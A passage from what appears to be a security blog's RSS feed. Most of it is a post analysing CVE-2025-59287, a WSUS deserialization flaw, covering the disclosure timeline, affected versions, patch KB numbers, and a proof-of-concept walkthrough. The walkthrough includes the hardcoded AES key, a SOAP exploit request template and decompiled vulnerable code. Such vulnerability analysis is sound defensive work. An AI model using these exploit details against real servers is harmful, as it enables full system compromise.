  &lt;li&gt;&lt;a href=&quot;https://www.godaddy.com/resources/news/vextrio-dollyway-world-domination&quot;&gt;GoDaddy Security - DollyWay World Domination&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/2024/04/javascript-malware-switches-to-server-side-redirects-dns-txt-records-tds.html&quot;&gt;Sucuri - JavaScript Malware Switches to Server-Side Redirects&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.qurium.org/forensics/when-kehr-meets-vextrio/&quot;&gt;Qurium - VexTrio and Los Pollos Investigation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blogs.blackberry.com/en/2022/01/prometheus-tds&quot;&gt;BlackBerry Research - The Prometheus Traffic Direction System&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/tds-systems-are-the-next-big-money-makers-in-the-land-of-cybercrime/&quot;&gt;Bleeping Computer - TDS Systems Are the Next Big Money Makers in Cybercrime&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.darkreading.com/threat-intelligence/vextrio-cybercrime-outfit-legit-ad-tech&quot;&gt;Dark Reading - VexTrio Cybercrime Gang Run by Legit Ad Tech Firms&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 10 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/01/10/tds_part1/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/01/10/tds_part1/</guid>
        
        <category>research</category>
        
        <category>threat_groups</category>
        
      </item>
    
      <item>
        <title>CVE-2025-59287 and the WSUS Deserialization Nightmare</title>
        <description>&lt;p&gt;You know that feeling when you realize the system designed to keep your infrastructure secure just became the biggest threat vector in your environment? That’s CVE-2025-59287 in a nutshell. Microsoft’s Windows Server Update Services (WSUS), the very infrastructure meant to deliver security patches to your fleet, became exploitable within hours of public disclosure. And the forensic reality? It’s messier than most people want to admit.&lt;/p&gt;

&lt;h2 id=&quot;the-vulnerability&quot;&gt;The Vulnerability&lt;/h2&gt;

&lt;p&gt;CVE-2025-59287 is a critical remote code execution vulnerability affecting Microsoft Windows Server Update Services (WSUS). With a CVSS score of 9.8, this is about as bad as it gets: unauthenticated, network accessible, and trivially exploitable once you understand the mechanics.&lt;/p&gt;

&lt;p&gt;The vulnerability exists in WSUS’s reporting web services and stems from a classic .NET deserialization issue. Specifically, the flaw involves the unsafe deserialization of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AuthorizationCookie&lt;/code&gt; objects sent to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCookie()&lt;/code&gt; endpoint. The encrypted cookie data is decrypted using AES-128-CBC and then passed directly to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter.Deserialize()&lt;/code&gt; without proper type validation. If you’ve been in the trenches long enough, you already know where this is going.&lt;/p&gt;

&lt;p&gt;WSUS runs with SYSTEM privileges. Exploitation means immediate, complete compromise of the WSUS server. And because WSUS servers typically have broad network access and trusted relationships across the environment, this is your beachhead for lateral movement.&lt;/p&gt;

&lt;h2 id=&quot;timeline-how-fast-things-went-sideways&quot;&gt;Timeline: How Fast Things Went Sideways&lt;/h2&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;October 14, 2025&lt;/strong&gt;: Microsoft disclosed CVE-2025-59287 as part of their October Patch Tuesday. At this point, no active exploitation had been observed, but Microsoft assessed exploitation as “More Likely.” The initial patch was incomplete and didn’t fully address the vulnerability.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 17, 2025&lt;/strong&gt;: Security researcher HawkTrace published a detailed proof-of-concept exploit, including working code that demonstrated arbitrary code execution via crafted deserialization payloads. The PoC used ysoserial.net gadget chains to pop calc.exe, showing the path from concept to weaponization.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 20-21, 2025&lt;/strong&gt;: Additional PoC code surfaced from multiple sources. The exploit methodology was now public knowledge, complete with encryption routines and SOAP request templates.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 23, 2025&lt;/strong&gt;: Microsoft released emergency out-of-band patches for all affected Windows Server versions to fully address the vulnerability. This superseded the incomplete October 14th patch. Within hours of the OOB patch release, active exploitation began. The Dutch National Cyber Security Centre confirmed exploitation activity. Threat actors wasted no time.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 24, 2025&lt;/strong&gt;: CISA added CVE-2025-59287 to the Known Exploited Vulnerabilities (KEV) catalog, giving federal agencies until November 14th to patch. Multiple security vendors (Eye Security, Huntress, Unit 42, Darktrace) confirmed in-the-wild exploitation with reconnaissance and hands-on-keyboard activity observed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From disclosure to weaponization to active campaigns: ten days. From emergency patch to exploitation: hours. This is the new normal.&lt;/p&gt;

&lt;h2 id=&quot;affected-versions-and-patch-status&quot;&gt;Affected Versions and Patch Status&lt;/h2&gt;

&lt;p&gt;The vulnerability affects Windows Server systems where the WSUS Server Role is enabled. Critically, this role is not enabled by default, which limited the attack surface but also meant many organizations didn’t know they were running WSUS servers exposed to the internet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Affected Systems&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Windows Server 2012 and 2012 R2&lt;/li&gt;
  &lt;li&gt;Windows Server 2016&lt;/li&gt;
  &lt;li&gt;Windows Server 2019&lt;/li&gt;
  &lt;li&gt;Windows Server 2022 (including 23H2 Edition)&lt;/li&gt;
  &lt;li&gt;Windows Server 2025&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Patch Status&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Microsoft released out-of-band updates on October 23, 2025:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Windows Server 2025: KB5070881&lt;/li&gt;
  &lt;li&gt;Windows Server 2022 23H2: KB5070879&lt;/li&gt;
  &lt;li&gt;Windows Server 2022: KB5070884&lt;/li&gt;
  &lt;li&gt;Windows Server 2019: KB5070883&lt;/li&gt;
  &lt;li&gt;Windows Server 2016: KB5070882&lt;/li&gt;
  &lt;li&gt;Windows Server 2012 R2: KB5070886&lt;/li&gt;
  &lt;li&gt;Windows Server 2012: KB5070887&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;: The October 14th patches were incomplete. Only the October 23rd out-of-band updates fully mitigate the vulnerability. If you patched on Patch Tuesday and stopped, you’re still vulnerable.&lt;/p&gt;

&lt;p&gt;A functional side effect of the patch: WSUS synchronization error details are no longer displayed after installation. Microsoft deliberately removed this functionality to address the vulnerability, which means you’ll need to adjust your monitoring and troubleshooting procedures.&lt;/p&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof of Concept Details&lt;/h2&gt;

&lt;p&gt;The HawkTrace PoC demonstrates the exploitation chain with surgical precision. Here’s how it works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Gadget Chain Generation&lt;/strong&gt;: The exploit leverages ysoserial.net to create a malicious .NET deserialization gadget chain. The default PoC spawns calc.exe, but this is trivially modified to execute arbitrary commands.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Serialization&lt;/strong&gt;: The gadget chain is serialized using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BinaryFormatter&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Encryption&lt;/strong&gt;: The serialized payload is encrypted using AES-128-CBC with a hardcoded key (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;877C14E433638145AD21BD0C17393071&lt;/code&gt;) and a null initialization vector. The encryption uses 16-byte salt prepended to the encrypted data.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Delivery&lt;/strong&gt;: The encrypted payload is base64-encoded and embedded in a SOAP request sent to the WSUS ClientWebService endpoint at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ClientWebService/Client.asmx&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The SOAP request structure looks like this:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /ClientWebService/Client.asmx HTTP/1.1
Host: TARGET:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: &quot;http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie&quot;

&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;soap:Envelope&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:soap=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;soap:Body&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;GetCookie&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;authCookies&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;AuthorizationCookie&amp;gt;&lt;/span&gt;
          &lt;span class=&quot;nt&quot;&gt;&amp;lt;PlugInId&amp;gt;&lt;/span&gt;SimpleTargeting&lt;span class=&quot;nt&quot;&gt;&amp;lt;/PlugInId&amp;gt;&lt;/span&gt;
          &lt;span class=&quot;nt&quot;&gt;&amp;lt;CookieData&amp;gt;&lt;/span&gt;[BASE64_ENCRYPTED_PAYLOAD]&lt;span class=&quot;nt&quot;&gt;&amp;lt;/CookieData&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/AuthorizationCookie&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;/authCookies&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;oldCookie&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xsi:nil=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;true&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:xsi=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nt&quot;&gt;&amp;lt;protocolVersion&amp;gt;&lt;/span&gt;1.20&lt;span class=&quot;nt&quot;&gt;&amp;lt;/protocolVersion&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/GetCookie&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/soap:Body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/soap:Envelope&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The exploit requires network access to WSUS on its default ports: TCP 8530 (HTTP) or TCP 8531 (HTTPS). Some configurations use TCP 80 or 443 instead.&lt;/p&gt;

&lt;h2 id=&quot;technical-deep-dive-the-exploitation-chain&quot;&gt;Technical Deep Dive: The Exploitation Chain&lt;/h2&gt;

&lt;p&gt;Let’s walk through exactly what happens when an attacker exploits CVE-2025-59287. This is where things get technical.&lt;/p&gt;

&lt;h3 id=&quot;the-entry-point-getcookie&quot;&gt;The Entry Point: GetCookie()&lt;/h3&gt;

&lt;p&gt;The vulnerability begins in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetCookie()&lt;/code&gt; method of the WSUS Client web service. When a client sends an authorization cookie, it’s processed through several layers:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Client.GetCookie() 
  → ClientImplementation.GetCookie()
    → AuthorizationManager.GetCookie()
      → AuthorizationManager.CrackAuthorizationCookies()
        → GenericAuthorizationPlugIn.CrackAuthorizationCookie()
          → EncryptionHelper.DecryptData()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;the-vulnerable-code-decryptdata&quot;&gt;The Vulnerable Code: DecryptData()&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EncryptionHelper.DecryptData()&lt;/code&gt; method is where exploitation occurs. Here’s the decompiled logic:&lt;/p&gt;

&lt;div class=&quot;language-csharp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;internal&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;DecryptData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;LoggedArgumentNullException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;cookieData&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ICryptoTransform&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cryptoServiceProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CreateDecryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Validate block size&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InputBlockSize&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;||&lt;/span&gt; 
            &lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InputBlockSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;LoggedArgumentException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Can&apos;t decrypt bogus cookieData...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Decrypt the data&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InputBlockSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;TransformBlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InputBlockSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                        &lt;span class=&quot;n&quot;&gt;EncryptionHelper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scratchBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;TransformBlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InputBlockSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                        &lt;span class=&quot;n&quot;&gt;cookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;InputBlockSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                        &lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;finally&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cryptoTransform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Dispose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Type check&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;classType&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UnencryptedCookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;UnencryptedCookieData&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unencryptedCookieData&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;UnencryptedCookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;unencryptedCookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Deserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OutOfMemoryException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;LoggedArgumentException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;cookieData&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;unencryptedCookieData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// THE VULNERABLE PATH&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;BinaryFormatter&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binaryFormatter&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;BinaryFormatter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;MemoryStream&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;MemoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;binaryFormatter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Deserialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Exception&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ex2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ex2&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OutOfMemoryException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;LoggedArgumentException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ex2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;cookieData&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
